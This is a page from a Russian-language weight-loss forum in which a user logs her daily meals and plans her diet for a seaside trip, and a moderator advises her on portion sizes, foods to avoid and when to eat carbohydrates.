10-00 100 гр творога с кофе
11-00 груша 1 штука 1 персик
12-30 мясо тушеное + салат огурец помидор
15-00 каша артек + салат ( какой можно добавить белок к каше?? - если кашу с мясом нельзя??)
18-00 буду дома и будет кусок куриного филе 150 гр и огромный помидор
вечером кефир
воды -2 литра
уезжаю в понедельник на море
планирую питание так :
с утра овсянка обязательно не на молоке + фрукт
перекусы творог, варенные яйца, сыр
обязательно арбузы и кукуруза
воды МНОГО
с мясом напряг - боюсь там покупать ( что-нить придумаем)
кефир на ночь ОБЯЗАТЕЛЬНО
СУП В ОБЕД!!
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Пт 7 Авг 2015 - 13:24
Привет!
На море, старайся соблюдать время и размер порции, конечно же исключить пиво, крепкие напитки, солёное, копчёное, маринованное и сладкое, кроме шоколада утром к кофе, сыра твёрдого можно 20 грамм на день, можно адыгейский, брынзу если не солёная, моцареллу, фета до 150 грамм на порцию. Можно бокал сухого вина. А в целом отдыхай и получай удовольствие.
Уточни каким объёмам порции ты придерживаешься? 200 или 250?
Можно, ты замеры сделала?JuliaVishnia пишет:Можно мне разместить как то в начале мой вес и начало программы - путаюсь
кто сказал? у нас очень даже приветствуется каша с мясом и салатом, но первый или второй завтрак, после обеда уже не нужны углеводы в виде каши.JuliaVishnia пишет:если кашу с мясом нельзя??)
100 грамм филе достаточно и 100 - 150 помидор.JuliaVishnia пишет:будет кусок куриного филе 150 гр и огромный помидор
На море, старайся соблюдать время и размер порции, конечно же исключить пиво, крепкие напитки, солёное, копчёное, маринованное и сладкое, кроме шоколада утром к кофе, сыра твёрдого можно 20 грамм на день, можно адыгейский, брынзу если не солёная, моцареллу, фета до 150 грамм на порцию. Можно бокал сухого вина. А в целом отдыхай и получай удовольствие.
Уточни каким объёмам порции ты придерживаешься? 200 или 250?
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор JuliaVishnia Пт 7 Авг 2015 - 15:19
замеры сделала - и написала
JuliaVishnia-
-
Регистрация : 2010-06-18
Сообщений : 879
Бакалавр
Возраст : 49
Как вас называть? : JuliaVishnia
Дети : Марья 11 годков
Откуда : Киев
Страна :
Re: Страничка JuliaVishnia - блокнот
автор ЮлияАлександровна Пт 7 Авг 2015 - 15:34
точно, я их сама и в замеры переносила ))) я тебе поменяла первое сообщениеJuliaVishnia пишет:замеры сделала - и написала
ЮлияАлександровна-
-
Регистрация : 2010-02-13
Сообщений : 31632
- Награды:
СуперЭкстраМагистр
Возраст : 45
Как вас называть? : Юлия
Дети : Мелания 2002 г.
Откуда : Украина Киевская обл.
Страна :
Страница 10 из 10 • 1, 2, 3, 4, 5, 6, 7, 8, 9, 10
Пышка - худышка :: Архив форума :: Библиотека :: Странички :: Блокнот
Страница 10 из 10
Права доступа к этому форуму:
Вы не можете отвечать на сообщения|
|
|
» Привет!!! 911
» Страничка Никиткина мама -Валентина, 1 этап
» Шашлык из рыбы
» Страница для отчёта по питанию. Общая.
» восстановление страницы
» Добро пожаловать!